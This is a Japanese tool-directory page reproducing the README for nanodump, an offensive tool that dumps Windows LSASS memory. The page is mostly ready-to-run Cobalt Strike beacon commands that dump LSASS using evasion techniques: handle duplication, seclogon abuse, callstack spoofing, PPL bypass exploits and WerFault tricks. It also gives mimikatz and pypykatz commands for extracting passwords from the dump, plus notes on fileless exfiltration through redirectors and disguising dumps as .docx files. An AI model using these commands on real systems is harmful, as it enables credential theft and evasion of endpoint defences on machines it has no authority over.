Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
nanodump — LSASSダンプのスイスアーミーナイフ | Kitploit
ツール/GitHubGitHub/fortra/nanodump
特権昇格メモリフォレンジックエクスプロイトポストエクスプロイトペネトレーションテストレッドチーミングペイロード開発
GitHubfortra/nanodump

nanodump

LSASSダンプのスイスアーミーナイフ

リポジトリを見る
2.1k272171年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

NanoDump

LSASSプロセスのミニダンプを作成する柔軟なツール。

screenshot

目次

  1. 使い方
  2. 機能
  3. テクニックの組み合わせ
  4. 例
  5. HTTPSリダイレクタ

1. 使い方

root@kitploit:~
usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
    --write DUMP_PATH, -w DUMP_PATH
            filename of the dump
    --valid, -v
            create a dump with a valid signature
Obtain an LSASS handle via:
    --duplicate, -d
            duplicate a high privileged existing LSASS handle
    --duplicate-elevate, -de
            duplicate a low privileged existing LSASS handle and then elevate it
    --seclogon-leak-local, -sll
            leak an LSASS handle into nanodump via seclogon
    --seclogon-leak-remote BIN_PATH, -slt BIN_PATH
            leak an LSASS handle into another process via seclogon and duplicate it
    --seclogon-duplicate, -sd
            make seclogon open a handle to LSASS and duplicate it
    --spoof-callstack, -sc
            open a handle to LSASS using a fake calling stack
Let WerFault.exe (instead of nanodump) create the dump
    --silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
            force WerFault.exe to dump LSASS via SilentProcessExit
    --shtinkering, -sk
            force WerFault.exe to dump LSASS via Shtinkering
Avoid reading LSASS directly:
    --fork, -f
            fork the target process before dumping
    --snapshot, -s
            snapshot the target process before dumping
Avoid opening a handle with high privileges:
    --elevate-handle, -eh
            open a handle to LSASS with low privileges and duplicate it to gain higher privileges
Miscellaneous:
    --getpid
            print the PID of LSASS and leave
    --chunk-size
            chunk size in KiB used to exfiltrate the dump without touching disk (default 900)
Help:
    --help, -h
            print this help message and leave

クローン

root@kitploit:~
git clone https://github.com/fortra/nanodump.git

コンパイル(オプション)

Linux (MinGW) の場合

root@kitploit:~
make -f Makefile.mingw

Windows (MSVC) の場合(BOF非対応)

root@kitploit:~
nmake -f Makefile.msvc

インポート(CobaltStrikeのみ)

Cobalt Strikeで NanoDump.cna スクリプトをインポートします。

実行

Beaconコンソールで nanodump コマンド、または nanodump.x64.exe バイナリを実行します。

署名の復元

--valid フラグを指定しなかった場合、無効な署名を復元する必要があります。

root@kitploit:~
scripts/restore_signature <dumpfile>

秘密情報の取得

mimikatz:
秘密情報を取得するには、以下のコマンドを実行します:

root@kitploit:~
mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit

pypykatz:
Linuxを使用したい場合は、mimikatzのPython3版である pypykatz を使用できます:

root@kitploit:~
python3 -m pypykatz lsa minidump <dumpfie>

2. 機能

プロセスのフォーク

PROCESS_VM_READ を使用してLSASSへのハンドルを開くのを避けるために、--fork パラメータを使用できます。
これにより、nanodumpは PROCESS_CREATE_PROCESS アクセスでLSASSへのハンドルを作成し、プロセスの「クローン」を作成します。この新しいプロセスがダンプされます。これによりプロセスの作成と削除が行われますが、LSASSを直接読み取る必要がなくなります。

スナップショット

--fork オプションと同様に、--snapshot を使用してLSASSプロセスのスナップショットを作成できます。
これにより、nanodumpは PROCESS_CREATE_PROCESS アクセスでLSASSへのハンドルを作成し、PssNtCaptureSnapshot を使用してプロセスのスナップショットを作成します。この新しいプロセスがダンプされます。完了するとスナップショットは自動的に解放されます。

ハンドルの複製

LSASSへのハンドルを開くことは検出される可能性があるため、nanodumpは代わりに既存のLSASSハンドルを検索できます。
見つかった場合、それをコピーしてミニダンプの作成に使用します。
そのようなハンドルが見つかるとは限らないことに注意してください。

ハンドルの昇格

PROCESS_QUERY_LIMITED_INFORMATION(おそらくホワイトリストに登録されている)でLSASSへのハンドルを取得し、そのハンドルを複製して昇格させることができます。

Seclogonハンドルリーク(ローカル)

LSASSへのハンドルを開くのを避けるために、seclogonサービスを悪用して CreateProcessWithLogonW を呼び出し、LSASSハンドルをnanodumpバイナリにリークできます。
この機能を有効にするには、--seclogon-leak-local パラメータを使用します。
Cobalt Strikeから使用する場合、署名されていないnanodumpバイナリをディスクに書き込む必要があることに注意してください。

Seclogonハンドルリーク(リモート)

このテクニックは前のものと非常に似ていますが、ハンドルをnanodumpにリークする代わりに、別のバイナリにリークしてから複製し、nanodumpが使用できるようにします。
この機能にアクセスするには、--seclogon-leak-remote フラグを使用します。

Seclogonハンドル複製

ファイルロックを使用した競合状態を利用して、seclogonプロセスにLSASSへのハンドルを開かせ、閉じられる前に複製させることができます。
この機能にアクセスするには、--seclogon-duplicate フラグを使用します。

nanodumpをSSPとしてロード

nanodumpをLSASSのSSPとしてロードして、ハンドルを開くのを回避できます。
DLLがLSASSにロードされると、パラメータは名前付きパイプを介して渡され、ダンプが完了すると DllMain がFALSEを返し、LSASSがnanodump DLLをアンロードします。
コンパイラフラグ PASS_PARAMS_VIA_NAMED_PIPES=0 を使用すると、パラメータをDLLにハードコードし、名前付きパイプを完全に回避できます。

nanodump DLLのアップロードとロード

デフォルトでは、署名されていないnanodump DLLがTempフォルダにアップロードされ、自動的に削除されます。

root@kitploit:~
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp

既存のDLLをロードする場合は、以下を実行します:

root@kitploit:~
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll

PPLダンプエクスプロイト

LSASSがProtected Process Light (PPL) として実行されている場合、Project Zeroによって発見されたユーザーランドのエクスプロイトを使用してバイパスを試みることができます。成功すると、ダンプがディスクに書き込まれます。

この脆弱性は2022年7月の更新パック(Windows 10 21H2 Build 19044.1826)で修正されています。

この機能にアクセスするには、nanodump_ppl_dump コマンドを使用します

root@kitploit:~
beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp

PPL Medicエクスプロイト

NanodumpはPPLMedicエクスプロイトも実装しており、2022年7月の更新パックが適用されたシステムでも動作します。 パラメータは名前付きパイプを介してnanodump DLLに渡されます。コンパイラフラグ `PASS_PARAMS_VIA_NAMED_PIPES=0` を使用すると、パラメータをDLLにハードコードし、名前付きパイプを完全に回避できます。

この機能にアクセスするには、nanodump_ppl_medic コマンドを使用します

root@kitploit:~
beacon> nanodump_ppl_medic -v -w C:\Windows\Temp\lsass.dmp

WerFault

WerFault.exeプロセスにLSASSの完全メモリダンプを作成させることができます。これにはレジストリへの書き込み権限が必要であることに注意してください。

ダンプはnanodumpによって作成されるわけではないため、常に有効な署名を持ちます。

Silent Process Exit

Silent Process Exitテクニックを利用するには、--silent-process-exit パラメータとダンプを作成するパスを使用します。

root@kitploit:~
beacon> nanodump --silent-process-exit C:\Windows\Temp\

nanodumpプロセスのダンプも作成されます。例:

root@kitploit:~
PS C:\> dir 'C:\Windows\Temp\lsass.exe-(PID-648)-4035593\'

Directory: C:\Windows\Temp\lsass.exe-(PID-648)-4035593

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         6/23/2022   7:40 AM       58830409 lsass.exe-(PID-648).dmp
-a----         6/23/2022   7:40 AM        7862825 nanodump.x64.exe-(PID-3224).dmp

Shtinkering

Shtinkeringテクニックを使用することもできます。nanodumpがSYSTEMで実行されている必要があります:

root@kitploit:~
beacon> nanodump --shtinkering

ダンプは通常、C:\Windows\system32\config\systemprofile\AppData\Local\CrashDumps に作成されます。

コールスタックの偽装

偽のコールスタックを使用してLSASSへのハンドルを開き、関数呼び出しをより正当に見せかけることができます(特にBOFとして実行する場合)。
この機能を使用するには、--spoof-callstack パラメータを使用します。

3. テクニックの組み合わせ

多くのテクニックを組み合わせて、nanodumpの動作をカスタマイズできます。
以下の表は、一緒に使用できるフラグを示しています。

4. 例

フォークを作成してLSASSを間接的に読み取り、無効な署名でダンプをディスクに書き込みます:

root@kitploit:~
beacon> nanodump --fork --write C:\lsass.dmp

seclogon leak remoteを使用してnotepadプロセスにLSASSハンドルをリークし、そのハンドルを複製してLSASSへのアクセスを取得し、フォークを作成して間接的に読み取り、有効な署名でダンプをダウンロードします:

root@kitploit:~
beacon> nanodump --seclogon-leak-remote C:\Windows\notepad.exe --fork --valid

seclogon leak localでハンドルを取得し、フォークを使用してLSASSを間接的に読み取り、有効な署名でダンプをディスクに書き込みます(nanodumpバイナリがアップロードされます!):

root@kitploit:~
beacon> nanodump --seclogon-leak-local --fork --valid --write C:\Windows\Temp\lsass.dmp

無効な署名でダンプをダウンロード(デフォルト):

root@kitploit:~
beacon> nanodump

既存のハンドルを複製し、無効な署名でダンプをディスクに書き込みます:

root@kitploit:~
beacon> nanodump --duplicate --write C:\Windows\Temp\report.docx

LSASSのPIDを取得:

root@kitploit:~
beacon> nanodump --getpid

LSASSにnanodumpをSSPとしてロード(nanodumpバイナリがアップロードされます!):

root@kitploit:~
beacon> nanodump_ssp -w C:\Windows\Temp\lsass.dmp

PPLDumpエクスプロイトを使用してPPLをバイパスし、csrss.exeがLSASSに対して持つハンドルを複製してLSASSをダンプ:

root@kitploit:~
beacon> nanodump_ppl_dump --duplicate --write C:\Windows\Temp\lsass.dmp

PPLMedicエクスプロイトを使用してPPLをバイパスし、低権限のハンドルをLSASSに開いてから昇格させてLSASSをダンプ:

root@kitploit:~
beacon> nanodump_ppl_medic --elevate-handle --write C:\Windows\Temp\lsass.dmp

seclogonを騙してLSASSへのハンドルを開かせて複製し、無効な署名でダンプをダウンロード:

root@kitploit:~
beacon> nanodump --seclogon-duplicate

WerFault.exeプロセスにTempフォルダに完全メモリダンプを作成させる:

root@kitploit:~
beacon> nanodump --werfault C:\Windows\Temp\

偽装されたコールスタックでLSASSへのハンドルを開き、無効な署名でミニダンプをダウンロード:

root@kitploit:~
beacon> nanodump --spoof-callstack

Shtinkeringテクニックを使用:

root@kitploit:~
beacon> nanodump --shtinkering

seclogon leak localでハンドルを取得し、Shtinkeringテクニックでダンプを作成:

root@kitploit:~
beacon> nanodump --seclogon-leak-local --shtinkering

低権限でハンドルを取得し、_elevate handle_で昇格:

root@kitploit:~
beacon> nanodump --elevate-handle

偽装されたコールスタックで低権限のハンドルを取得し、_elevate handle_で昇格:

root@kitploit:~
beacon> nanodump --elevate-handle --spoof-callstack

既存の低権限ハンドルを複製し、_elevate handle_で昇格:

root@kitploit:~
beacon> nanodump --duplicate-elevate

5. HTTPSリダイレクタ

HTTPSリダイレクタを使用している場合(推奨)、ダンプをファイルレスでダウンロードする際に、ダンプをリークするリクエストのサイズが原因で問題が発生する可能性があります。
Webサーバーのリクエストの最大サイズを増やして、nanodumpがダンプをダウンロードできるようにしてください。

NGINX

root@kitploit:~
location ~ ^...$ {
    ...
    client_max_body_size 50M;
}

Apache2

root@kitploit:~
<Directory "...">
    LimitRequestBody  52428800
</Directory>

クレジット

  • skelsec - minidump の作成者。ミニダンプファイル形式の学習に重要でした。
  • freefirex - TrustedsecのCS-Situational-Awareness-BOF のBOF向けの多くの優れたテクニック
  • Jackson_T - SysWhispers2
  • BillDemirkapi - プロセスフォーキング
  • Antonio Cocomazzi - 漏洩したハンドルを悪用したLSASSメモリのダンプ および LSASSダンプの競合
  • xpn - Mimikatz探訪 - パート2 - SSP
  • Matteo Malvica - WinDefender ATPの認証情報窃取を回避:ヒットアンドミススタートの後のヒット
  • James Forshaw - Windowsエクスプロイトテクニック:任意のオブジェクトディレクトリ作成を悪用したローカル権限昇格
  • itm4n - オリジナルのPPLユーザーランドエクスプロイト実装、PPLDump および PPLMedic。
  • Asaf Gilboa - LSASSメモリダンプはこれまで以上にステルスに - パート2 およびShtinkeringテクニック
  • William Burgess - コールスタックの偽装でEDRを混乱させる
ツールをダウンロード
--write--valid--duplicate--elevate-handle--duplicate-elevate--seclogon-leak-local--seclogon-leak-remote--seclogon-duplicate--spoof-callstack--silent-process-exit--shtinkering--fork--snapshotSSPPPL_DUMPPPL_MEDIC
--write✓✓✓✓✓✓✓✓✓✓✓✓✓
--valid✓✓✓✓✓✓✓✓✓✓✓✓✓
--duplicate✓✓✓✓✓✓✓
--elevate-handle✓✓✓✓✓✓✓✓
--duplicate-elevate✓✓✓✓✓✓
--seclogon-leak-local✓✓✓✓✓✓
--seclogon-leak-remote✓✓✓✓✓✓
--seclogon-duplicate✓✓✓✓✓✓
--spoof-callstack✓✓✓✓✓✓✓
--silent-process-exit✓
--shtinkering✓✓✓✓✓✓✓✓
--fork✓✓✓✓✓✓✓✓✓✓
--snapshot✓✓✓✓✓✓✓✓✓✓
SSP✓
PPL_DUMP✓✓✓✓
PPL_MEDIC✓✓✓✓
  • Sebastian Feldmann と Fabian - Morph Your Malware! で議論された elevate handle テクニック